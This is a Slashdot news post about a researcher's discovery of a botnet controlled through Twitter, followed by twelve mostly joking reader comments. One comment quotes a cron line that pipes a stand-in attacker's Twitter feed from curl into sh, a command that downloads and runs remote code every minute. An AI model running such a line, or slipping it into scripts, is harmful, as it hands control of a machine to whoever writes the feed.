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Twitter Used To Control Botnet Machines

Posted by ScuttleMonkey on from the it's-all-spam-to-me dept.

DikSeaCup writes "Arbor Network's Jose Nazario, an expert on botnets, discovered what looks to be the first reported case of hackers using Twitter to control botnets. 'Hackers have long used IRC chat rooms to control botnets, and have continually used clever technologies, such as peer-to-peer strategies, to counter efforts to track, disrupt and sometimes decapitate the bots. Perhaps what's surprising then is that it's taken so long for hackers to take Twitter to the dark side.' The next step, of course, is to code the tweets in such a way that they aren't so suspicious."

12 of 127 comments (clear)

  1. Sure, but by operator_error · · Score: 4, Funny

    Sure Twitter is just a large botnet, but is anyone really in control?

  2. Holy shit! by SatanicPuppy · · Score: 5, Funny

    Who knew Twitter had a use?!?!

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    1. Re:Holy shit! by michaelhood · · Score: 3, Funny

      Twitter (read: mircoblogging) has tons of potential just waiting for imaginative developers.

      >

      Funny slip that you should call it "mircoblogging" since Twitter is basically logged IRC without channels (hashtags even use #) and a dysfunctional search. Welcome to 15 years ago, kids.

    2. Re:Holy shit! by davester666 · · Score: 3, Funny

      Somebody finally found a way to monetize Twitter!

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  3. I <3 English by sootman · · Score: 4, Funny

    "Twitter Used To Control Botnet Machines"

    It used to, but it doesn't anymore, right?

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  4. It's easy to do. by lymond01 · · Score: 5, Funny

    No onE would Think of uSing slashdoT As we aRen'T nearly as oBviOus as someThiNg likE Twitter. // Especially with all our talk about supporting Linux and such.

    1. Re:It's easy to do. by Pulse_Instance · · Score: 5, Funny

      We use linux to read slashdot so your net start does nothing to us.

  5. tried it, but... by wibald · · Score: 4, Funny

    Sure they tried using Twitter to control their botnet but after sending out one set of instructions they got bored and went back to playing MafiaWars on Facebook.

  6. Re:It's not suspicious already by sootman · · Score: 3, Funny

    Hmm... so you're saying I should take out this cron entry...

    * * * * * curl twitter.com/evilguy | sh

    ... that I added per the instructions in some stranger's .sig?

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  7. Perl by BJ_Covert_Action · · Score: 4, Funny

    The next step, of course, is to code the tweets in such a way that they aren't so suspicious

    And people said that perl obfuscation, poetry, and golf tournaments didn't have any practical application. Ha!

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    1. Re:Perl by bugnuts · · Score: 3, Funny
      upd4t3 posted:

      ^<@<.@*
      }"_# |
      -@$&/_%
      !( @|=>
      ;`+$?^?
      ,#"~|)^G

  8. Re:Crowdsourced botnet by TheRaven64 · · Score: 3, Funny

    There's already a botnet like that, but it runs on poorly-secured human brains rather than computers.

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